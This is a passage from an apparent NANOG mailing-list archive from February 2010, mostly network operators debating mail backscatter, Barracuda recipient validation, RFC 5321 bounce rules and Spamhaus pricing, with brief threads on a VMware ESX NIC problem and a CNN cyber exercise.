unsolicited traffic > (traffic not in response to traffic from somebody on my network) was > blocked when detected, and remained blocked until somebody inside our > boundary complained, and on second occurrence until my management > directed me to remove the block. I can't resist the set up: Maybe that's why you don't run any sites anymore. Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From scott at doc.net.au Fri Feb 19 23:28:41 2010 From: scott at doc.net.au (Scott Howard) Date: Fri, 19 Feb 2010 21:28:41 -0800 Subject: Spamhaus... In-Reply-To: <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: On Fri, Feb 19, 2010 at 5:20 PM, William Herrin wrote: > On Fri, Feb 19, 2010 at 3:30 PM, Rich Kulawiec wrote: >> Barracuda's engineers apparently think >> that using SPF stops backscatter -- and it most emphatically does not. >> >> Reject gooooood, bounce baaaaaaad. [1] > > Whine all you want about backscatter but until you propose a > comprehensive solution that's still reasonably compatible with RFC > 2821's section 3.7 you're just talking trash. In the case of Barracuda's long history of Backscatter the solution is simple, and is implemented by most other mail vendors - it's called "Don't accept incoming mail to an invalid recipient". Barracudas used to have no way of doing address validation for incoming mail, so they would accept it and then bounce it when the next hop (eg, the Exchange server) rejected the recipient address. They finally fixed this a few years ago, and can not integrate with LDAP (and possibly others) for address validation. Of course, it's still down to the admin to implement it... Scott. From scott at doc.net.au Fri Feb 19 23:54:17 2010 From: scott at doc.net.au (Scott Howard) Date: Fri, 19 Feb 2010 21:54:17 -0800 Subject: Spamhaus... In-Reply-To: References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: On Fri, Feb 19, 2010 at 9:28 PM, Scott Howard wrote: > They finally fixed this a few years ago, and can not integrate with > LDAP (and possibly others) for address validation. Of course, it's > still down to the admin to implement it... ... can NOW integrate... even. Scott. From sking at kingrst.com Sat Feb 20 05:06:33 2010 From: sking at kingrst.com (Steven King) Date: Sat, 20 Feb 2010 06:06:33 -0500 Subject: Intel 10Gb on VMware (AMD) ESX 4.0 intermittent problem In-Reply-To: <2039ACC84D552B46A292559F7A45A14602FCDB81@edrmail01.southport.edr.cc> References: <2039ACC84D552B46A292559F7A45A14602FCDB81@edrmail01.southport.edr.cc> Message-ID: <4B7FC239.8030109@kingrst.com> Have you applied the ESX patches. I don't run ESX, but ESXi, and there was a firmware patch that addressed some networking issues on Linux systems. Might give that a try if you have not already. On 2/19/10 3:52 PM, LEdouard Louis wrote: > Has anyone experience problems using Intel 10 Gb NIC on VMware (AMD) ESX > 4.0? > > > > Some VM's are experiencing intermittent network drop issues even though > the actual VM is online. The VM are unable to ping out or respond to > ping and sometime unable to ping VM-to-Vm on the same physical server. > > The problem is only on some VM's on the same ESX host. We move the vms > to another ESX 4.0 with same Intel 10 GB card, the problem is resolve, > but return days later with same VM at new location. > > > > The Intel 10 GB has VMDQ features was not sure if that is part of the > problem. > > > > Thanks in advance > > --Louis > > -- Steve King Network Engineer - Liquid Web, Inc. Cisco Certified Network Associate CompTIA Linux+ Certified Professional CompTIA A+ Certified Professional From shane at short.id.au Sat Feb 20 05:41:05 2010 From: shane at short.id.au (Shane Short) Date: Sat, 20 Feb 2010 19:41:05 +0800 Subject: Intel 10Gb on VMware (AMD) ESX 4.0 intermittent problem In-Reply-To: <4B7FC239.8030109@kingrst.com> References: <2039ACC84D552B46A292559F7A45A14602FCDB81@edrmail01.southport.edr.cc> <4B7FC239.8030109@kingrst.com> Message-ID: We had this once before on an Intel GigE ethernet adapter.. The hacky fix was to leave a ping running continuously (mtr in this case) which solved the problem. Sounds like a arp/mac learning issue-- I think it got fixed when we re-installed ESXi on that machine. -Shane On 20/02/2010, at 7:06 PM, Steven King wrote: > Have you applied the ESX patches. I don't run ESX, but ESXi, and there > was a firmware patch that addressed some networking issues on Linux > systems. Might give that a try if you have not already. > > On 2/19/10 3:52 PM, LEdouard Louis wrote: >> Has anyone experience problems using Intel 10 Gb NIC on VMware (AMD) ESX >> 4.0? >> >> >> >> Some VM's are experiencing intermittent network drop issues even though >> the actual VM is online. The VM are unable to ping out or respond to >> ping and sometime unable to ping VM-to-Vm on the same physical server. >> >> The problem is only on some VM's on the same ESX host. We move the vms >> to another ESX 4.0 with same Intel 10 GB card, the problem is resolve, >> but return days later with same VM at new location. >> >> >> >> The Intel 10 GB has VMDQ features was not sure if that is part of the >> problem. >> >> >> >> Thanks in advance >> >> --Louis >> >> > > -- > Steve King > > Network Engineer - Liquid Web, Inc. > Cisco Certified Network Associate > CompTIA Linux+ Certified Professional > CompTIA A+ Certified Professional > > From jmamodio at gmail.com Sat Feb 20 06:53:57 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 20 Feb 2010 06:53:57 -0600 Subject: "Cyber Shockwave" on CNN In-Reply-To: <145451.45977.qm@web59608.mail.ac4.yahoo.com> References: <145451.45977.qm@web59608.mail.ac4.yahoo.com> Message-ID: <202705b1002200453q5c099b7u9dc2dd98684f8391@mail.gmail.com> > US carried out "Cyber Shockwave" - an exercise by non-government actors who have close relations to the government past. s/US/CNN/ s/exercise/show/ s/close relations/been paid by CNN to show off their relations/ > The results will be aired on CNN this weekend. s/results/show/ From rsk at gsp.org Sat Feb 20 07:08:23 2010 From: rsk at gsp.org (Rich Kulawiec) Date: Sat, 20 Feb 2010 08:08:23 -0500 Subject: Spamhaus... In-Reply-To: <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: <20100220130823.GA5232@gsp.org> On Fri, Feb 19, 2010 at 08:20:36PM -0500, William Herrin wrote: > Whine all you want about backscatter but until you propose a > comprehensive solution that's still reasonably compatible with RFC > 2821's section 3.7 you're just talking trash. We're well past that. Every minimally-competent postmaster on this planet knows that clause became operationally obsolete years ago [1], and has configured their mail systems to always reject, never bounce. [2] For the rest, that are still sending backscatter/outscatter spam on a chronic/systemic basis, we have spammer blacklists, since of course they *are* spamming. It should be obvious on inspection to everyone that one of the very last things we should be doing when we are drowning in useless/junk SMTP traffic is to generate more of it. Doubly so when, as we have seen, abusers have demonstrated the ability to repurpose it as a formidable weapon. ---Rsk [1] Thanks in part to the rise of the zombies, to the ready availability of cheap/free domains in bulk, to anonyous/obfuscated registration, to fast-flux DNS, and to a number of other factors. And no, SPF does not in any way mitigate this problem. Neither does DKIM. Neither does SenderID. Neither does *anything* except not sending it. [2] Yes, there are occasionally some edge cases of limited scope and duration that can be tough to handle. However, well-known methods exist for minimizing these in various mail environments (e.g., front-end/back-end, multiple MX, etc.), and these have been elucidated and discussed at length on the relevant mailing lists, such as spam-l. The key points here are "limited scope" and "limited duration". There is never any reason or need in any mail environment to permit these problems to grow beyond those boundaries. From john-nanog at johnpeach.com Sat Feb 20 07:55:47 2010 From: john-nanog at johnpeach.com (John Peach) Date: Sat, 20 Feb 2010 08:55:47 -0500 Subject: Spamhaus... In-Reply-To: References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: <20100220085547.67038db6@milhouse.peachfamily.net> On Fri, 19 Feb 2010 21:28:41 -0800 Scott Howard wrote: > On Fri, Feb 19, 2010 at 5:20 PM, William Herrin wrote: > > On Fri, Feb 19, 2010 at 3:30 PM, Rich Kulawiec wrote: > >> Barracuda's engineers apparently think > >> that using SPF stops backscatter -- and it most emphatically does not. > >> > >> Reject gooooood, bounce baaaaaaad. [1] > > > > Whine all you want about backscatter but until you propose a > > comprehensive solution that's still reasonably compatible with RFC > > 2821's section 3.7 you're just talking trash. > > In the case of Barracuda's long history of Backscatter the solution is > simple, and is implemented by most other mail vendors - it's called > "Don't accept incoming mail to an invalid recipient". > > Barracudas used to have no way of doing address validation for > incoming mail, so they would accept it and then bounce it when the > next hop (eg, the Exchange server) rejected the recipient address. > They finally fixed this a few years ago, and can not integrate with > LDAP (and possibly others) for address validation. Of course, it's > still down to the admin to implement it... FUD I had a couple of these when they first came out; it was a much cheaper alternative than the self-maintained postfix/spamassassin combination we were using at that point and proved to be just as efficient. Recipient validation was trivial, it was just not switched on by default. LDAP integration was also trivial. IIRC it was called exchange accelerator. -- John From dts at senie.com Sat Feb 20 08:46:21 2010 From: dts at senie.com (Daniel Senie) Date: Sat, 20 Feb 2010 09:46:21 -0500 Subject: Spamhaus... In-Reply-To: References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: <5045AD6C-981E-42DA-9D16-FB080838BFE0@senie.com> On Feb 20, 2010, at 12:28 AM, Scott Howard wrote: > On Fri, Feb 19, 2010 at 5:20 PM, William Herrin wrote: >> On Fri, Feb 19, 2010 at 3:30 PM, Rich Kulawiec wrote: >>> Barracuda's engineers apparently think >>> that using SPF stops backscatter -- and it most emphatically does not. >>> >>> Reject gooooood, bounce baaaaaaad. [1] >> >> Whine all you want about backscatter but until you propose a >> comprehensive solution that's still reasonably compatible with RFC >> 2821's section 3.7 you're just talking trash. > > In the case of Barracuda's long history of Backscatter the solution is > simple, and is implemented by most other mail vendors - it's called > "Don't accept incoming mail to an invalid recipient". > > Barracudas used to have no way of doing address validation for > incoming mail, so they would accept it and then bounce it when the > next hop (eg, the Exchange server) rejected the recipient address. > They finally fixed this a few years ago, and can not integrate with > LDAP (and possibly others) for address validation. Of course, it's > still down to the admin to implement it... I don't know when this was that they didn't do validation. As long as I've worked with their stuff, the boxes can connect to your mail server via SMTP and verify. Many people would put Exchange servers behind the Barracuda, and those Exchange servers would say "sure, that's valid" to any request for validation, so adding LDAP support helped with Exchange server issues (though apparently it's now possible to do verification via SMTP if you set up your Exchange right). Point is, it's unclear what you complain about was entirely the making of the vendor you are complaining about. The Barracuda boxes will accept mail for domains they know about but without validating the email address in the event the target mail server is down. And yes, it'd be nice if they instead sent back a 421 and let the email queue at the point of origination in such cases. So if a mail server is down and comes back up, some emails will likely be present in the queues that shouldn't have been accepted. From dts at senie.com Sat Feb 20 08:51:33 2010 From: dts at senie.com (Daniel Senie) Date: Sat, 20 Feb 2010 09:51:33 -0500 Subject: Spamhaus... In-Reply-To: <20100220130823.GA5232@gsp.org> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> Message-ID: On Feb 20, 2010, at 8:08 AM, Rich Kulawiec wrote: > On Fri, Feb 19, 2010 at 08:20:36PM -0500, William Herrin wrote: >> Whine all you want about backscatter but until you propose a >> comprehensive solution that's still reasonably compatible with RFC >> 2821's section 3.7 you're just talking trash. > > We're well past that. Every minimally-competent postmaster on this > planet knows that clause became operationally obsolete years ago [1], and > has configured their mail systems to always reject, never bounce. [2] So write a BCP that amends RFC2821. This HAS been done before. When directed broadcasts were the hot new way to cause damage, RFC 2644 was born (a.k.a. BCP34). It simply said that since the original document was written, it had been determined that a required default setting was found to damage the Internet and that henceforth, the default value MUST be the opposite. The option is still there for those cases when needed, but damage is avoided. Those coding up new router stacks hopefully heeded the advice. Certainly two of the leading vendors at the time did so. Instead of saying "well, it's obvious to everyone," do something about it. From marc at ena.com Sat Feb 20 09:01:18 2010 From: marc at ena.com (Marc Powell) Date: Sat, 20 Feb 2010 09:01:18 -0600 Subject: Spamhaus... In-Reply-To: References: Message-ID: <177ADC37-0E24-4CFE-B23C-3ECF49E0ECD5@ena.com> I don't know WTH is up with your large Cc: list but I've removed it to keep the conversation here, where it started. More below -- On Feb 19, 2010, at 12:53 PM, Dean Anderson wrote: > So you should think that its ok for blacklists to charge money for > things they got for free? In the case of Spamhaus, yes, I find it acceptable to pay them for the service they are providing me because I find it very useful, and with the understanding that they are non-profit, have costs related to providing the service and provide a free service for people with less volume than me. With regards to other lists, I would say that it depends on infrastructure costs they incur to provide that service, regardless of whether the content is community provided or not. The information may have been obtained freely but there are costs to disseminate it. Do you think that they should absorb all the costs of providing it as a free service? -- Marc From Valdis.Kletnieks at vt.edu Sat Feb 20 09:06:18 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 20 Feb 2010 10:06:18 -0500 Subject: Spamhaus... In-Reply-To: Your message of "Sat, 20 Feb 2010 09:51:33 EST." References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> Message-ID: <28243.1266678378@localhost> On Sat, 20 Feb 2010 09:51:33 EST, Daniel Senie said: > Instead of saying "well, it's obvious to everyone," do something about it. *brrring... brrrrring...brrriiing...* Cluephone. It's for you. 5321 Simple Mail Transfer Protocol. J. Klensin. October 2008. (Format: TXT=225929 bytes) (Obsoletes RFC2821) (Updates RFC1123) (Status: DRAFT STANDARD) It's been done already. It's been quoted in this thread even. There's no sense in Rick re-inventing the wheel when John Klensin and friends already fixed the flat and rebalanced it a year and a half ago. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From Valdis.Kletnieks at vt.edu Sat Feb 20 09:08:58 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 20 Feb 2010 10:08:58 -0500 Subject: Spamhaus... In-Reply-To: Your message of "Sat, 20 Feb 2010 09:46:21 EST." <5045AD6C-981E-42DA-9D16-FB080838BFE0@senie.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <5045AD6C-981E-42DA-9D16-FB080838BFE0@senie.com> Message-ID: <28352.1266678538@localhost> On Sat, 20 Feb 2010 09:46:21 EST, Daniel Senie said: > I don't know when this was that they didn't do validation. So they validate... > The Barracuda boxes will accept mail for domains they know about but > without validating the email address in the event the target mail server > is down. And yes, it'd be nice if they instead sent back a 421 and let > the email queue at the point of origination in such cases. So if a mail > server is down and comes back up, some emails will likely be present in > the queues that shouldn't have been accepted. Except for when they don't, and instead of 421'ing they backscatter. Gotcha. > > > -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From patrick at ianai.net Sat Feb 20 09:55:10 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Sat, 20 Feb 2010 10:55:10 -0500 Subject: Spamhaus... In-Reply-To: <177ADC37-0E24-4CFE-B23C-3ECF49E0ECD5@ena.com> References: <177ADC37-0E24-4CFE-B23C-3ECF49E0ECD5@ena.com> Message-ID: On Feb 20, 2010, at 10:01 AM, Marc Powell wrote: > On Feb 19, 2010, at 12:53 PM, Dean Anderson wrote: > >> So you should think that its ok for blacklists to charge money for >> things they got for free? > > In the case of Spamhaus, yes, I find it acceptable to pay them for the service they are providing me because I find it very useful, and with the understanding that they are non-profit, have costs related to providing the service and provide a free service for people with less volume than me. With regards to other lists, I would say that it depends on infrastructure costs they incur to provide that service, regardless of whether the content is community provided or not. The information may have been obtained freely but there are costs to disseminate it. Do you think that they should absorb all the costs of providing it as a free service? I would go a lot farther and Just Say Yes. How many of us here got something for 'free'? Do you feel guilty selling ISP services where the mail server is running FreeBSD or Postfix? Or the name server in BIND on Linux? Should we all just stop and go home now? Spamhaus has gotten things for free, yes. I don't have a problem with them selling it, and I don't see why you should - unless you are one of the people providing such free services. And that doesn't even consider the huge value Spamhaus adds to that free stuff they got. Do you honestly think those providing service for Spamhaus do not know this is happening? (Careful how you answer, as I used to be authoritative for spamhaus.org, I know a little bit about this.) If nothing else, they got the service for free! (When I ran one of the authorities, I could query it as often as I liked for $0. :) -- TTFN, patrick From frnkblk at iname.com Sat Feb 20 10:20:17 2010 From: frnkblk at iname.com (Frank Bulk) Date: Sat, 20 Feb 2010 10:20:17 -0600 Subject: Spamhaus... In-Reply-To: References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: They also can use SMTP AUTH for what they call Recipient Verification. Barracuda has done some work in the past few years to improve its "out of the box" configuration, but its poor start has permanently tarnished its reputation in the eyes of some in the mail community, especially those who are able to build their own spam filtering solution. As I found in a previous e-mail I wrote in September 2008, Barracuda's next release, as documented in their release notes, will, without asking, turn off all settings that cause backscatter. Customers will have to specifically re-activate those "features" if they want them. The "Send Bounce'' option will be SET TO NO on all systems, regardless of your previous setting. If you wish notifications to go out to any sender whose email was blocked, you can re-enable this option from the "BASIC->Spam Scoring'' page, in the Spam Bounce (NDR) Configuration section. Frank -----Original Message----- From: Scott Howard [mailto:scott at doc.net.au] Sent: Friday, February 19, 2010 11:54 PM To: William Herrin Cc: nanog at nanog.org Subject: Re: Spamhaus... On Fri, Feb 19, 2010 at 9:28 PM, Scott Howard wrote: > They finally fixed this a few years ago, and can not integrate with > LDAP (and possibly others) for address validation. Of course, it's > still down to the admin to implement it... ... can NOW integrate... even. Scott. From bill at herrin.us Sat Feb 20 10:36:37 2010 From: bill at herrin.us (William Herrin) Date: Sat, 20 Feb 2010 11:36:37 -0500 Subject: Spamhaus... In-Reply-To: <20100220130823.GA5232@gsp.org> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> Message-ID: <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> On Sat, Feb 20, 2010 at 8:08 AM, Rich Kulawiec wrote: > On Fri, Feb 19, 2010 at 08:20:36PM -0500, William Herrin wrote: >> Whine all you want about backscatter but until you propose a >> comprehensive solution that's still reasonably compatible with RFC >> 2821's section 3.7 you're just talking trash. > > We're well past that. ?Every minimally-competent postmaster on this > planet knows that clause became operationally obsolete years > ago [1], and has configured their mail systems to always reject, > never bounce. [2] Rich, Indeed, and the ones who are more than minimally competent have considered the protocol as a whole and come to understand that at a technical level the "reject don't bounce" theory has more holes in it than you can shake a stick at. Find me a comprehensive solution and I'll help you write the I-D but mere trash-talk about the people who respect SMTP's architecture is unhelpful. On Sat, Feb 20, 2010 at 10:06 AM, wrote: > 5321 Simple Mail Transfer Protocol. J. Klensin. October 2008. (Format: > TXT=225929 bytes) (Obsoletes RFC2821) (Updates RFC1123) (Status: > DRAFT STANDARD) > > It's been done already. It's been quoted in this thread even. > There's no sense in Rick re-inventing the wheel when > John Klensin and friends already > fixed the flat and rebalanced it a year and a half ago. They didn't exactly fix it. What they did is reinforce the importance of generating a bounce message by keeping the existing "must" language from 2821 but adding: "A server MAY attempt to verify the return path before using its address for delivery notifications" Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From LarrySheldon at cox.net Sat Feb 20 10:50:08 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 20 Feb 2010 10:50:08 -0600 Subject: Mail Best Practices and Documentation (was Re: Spamhaus...) In-Reply-To: <28243.1266678378@localhost> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <28243.1266678378@localhost> Message-ID: <4B8012C0.2060104@cox.net> On 2/20/2010 9:06 AM, Valdis.Kletnieks at vt.edu wrote: > On Sat, 20 Feb 2010 09:51:33 EST, Daniel Senie said: > >> Instead of saying "well, it's obvious to everyone," do something about it. > > *brrring... brrrrring...brrriiing...* > > Cluephone. It's for you. > > 5321 Simple Mail Transfer Protocol. J. Klensin. October 2008. (Format: > TXT=225929 bytes) (Obsoletes RFC2821) (Updates RFC1123) (Status: > DRAFT STANDARD) > > It's been done already. It's been quoted in this thread even. There's no > sense in Rick re-inventing the wheel when John Klensin and friends already > fixed the flat and rebalanced it a year and a half ago. I've never been part of the process, but as an observer,it appears to me that unlike the old days where it seems, from the histories, that an RFC could get approved in a matter of days or weeks, the hard part now is not the writing, but the getting approved. So (agreeing with Valdis) it seems unfair to chide people for not writing one when there is a backlog of unapproved ones in the mill (some of them as we see "on topic"). -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From LarrySheldon at cox.net Sat Feb 20 11:28:13 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 20 Feb 2010 11:28:13 -0600 Subject: Spamhaus... In-Reply-To: <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> Message-ID: <4B801BAD.7090000@cox.net> On 2/20/2010 10:36 AM, William Herrin wrote: > They didn't exactly fix it. What they did is reinforce the importance > of generating a bounce message by keeping the existing "must" language > from 2821 but adding: > > "A server MAY attempt to verify the return path before using its > address for delivery notifications" So, if you don't mind having your realm being blocked to stop the spam ("unsolicited bulk email") it emits, bounce away. And feel very pompous and correct while you are at it. In my day, the focus was on what my customers needed and wanted and that included the elimination of unsolicited email (they were not even big on the "bulk" qualifier). As long as the spammers and others that love the bounce are part of the RFC process, it isn't going to get better. We don't send email over facilities consisting of cables as big as your wrist--the world has changed. We don't expose our selves with "finger" and .plan and a number of other things that work in a world of friends and neighbors--the world has changed We don't send notifications and such which depend on people being honest and trust-worthy--the world has changed. RFCs describe protocols that, if followed, will allow the described interoperability. If you don't do everything listed, some stuff won't work as described. But it isn't Holy Writ. If you don't do something you don't need (or nobody you care about needs) you won't burn. And some people may thank you and allow you to be part of their community. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From matthew at sorbs.net Sat Feb 20 11:31:24 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Sat, 20 Feb 2010 18:31:24 +0100 Subject: Spamhaus... In-Reply-To: References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> Message-ID: <4B801C6C.10606@sorbs.net> Scott Howard wrote: > On Fri, Feb 19, 2010 at 5:20 PM, William Herrin wrote: > >> On Fri, Feb 19, 2010 at 3:30 PM, Rich Kulawiec wrote: >> >>> Barracuda's engineers apparently think >>> that using SPF stops backscatter -- and it most emphatically does not. >>> >>> Reject gooooood, bounce baaaaaaad. [1] >>> >> Whine all you want about backscatter but until you propose a >> comprehensive solution that's still reasonably compatible with RFC >> 2821's section 3.7 you're just talking trash. >> > > In the case of Barracuda's long history of Backscatter the solution is > simple, and is implemented by most other mail vendors - it's called > "Don't accept incoming mail to an invalid recipient". > > Barracudas used to have no way of doing address validation for > incoming mail, so they would accept it and then bounce it when the > next hop (eg, the Exchange server) rejected the recipient address. > They finally fixed this a few years ago, and can not integrate with > LDAP (and possibly others) for address validation. Of course, it's > still down to the admin to implement it... > > Actually they do (did?), as they run postfix, they should be configurable to use LDAP and a whole host of other methods. Michelle From wavetossed at googlemail.com Sat Feb 20 11:41:45 2010 From: wavetossed at googlemail.com (Michael Dillon) Date: Sat, 20 Feb 2010 17:41:45 +0000 Subject: Spamhaus... In-Reply-To: <4B801BAD.7090000@cox.net> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <4B801BAD.7090000@cox.net> Message-ID: <877585b01002200941q44d39e15rc043c2992eaad55@mail.gmail.com> > We don't expose our selves with "finger" and .plan and a number of other > things that work in a world of friends and neighbors--the world has changed It's changed all right. Finger is now called IM presence, and .plan is called Facebook. Given that the world now has dozens of alternate channels of communication over the Internet I'm on the side of folks who break the RFCs in order to keep things in some semblance of operational. And maybe someday, email will be known under another name as well. --Michael Dillon From Valdis.Kletnieks at vt.edu Sat Feb 20 11:53:21 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sat, 20 Feb 2010 12:53:21 -0500 Subject: Spamhaus... In-Reply-To: Your message of "Sat, 20 Feb 2010 11:36:37 EST." <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> Message-ID: <9305.1266688401@localhost> On Sat, 20 Feb 2010 11:36:37 EST, William Herrin said: > They didn't exactly fix it. What they did is reinforce the importance > of generating a bounce message by keeping the existing "must" language > from 2821 but adding: > > "A server MAY attempt to verify the return path before using its > address for delivery notifications" OK, let's run with that. It is *permitted* to check the address for validity before bouncing to it. So 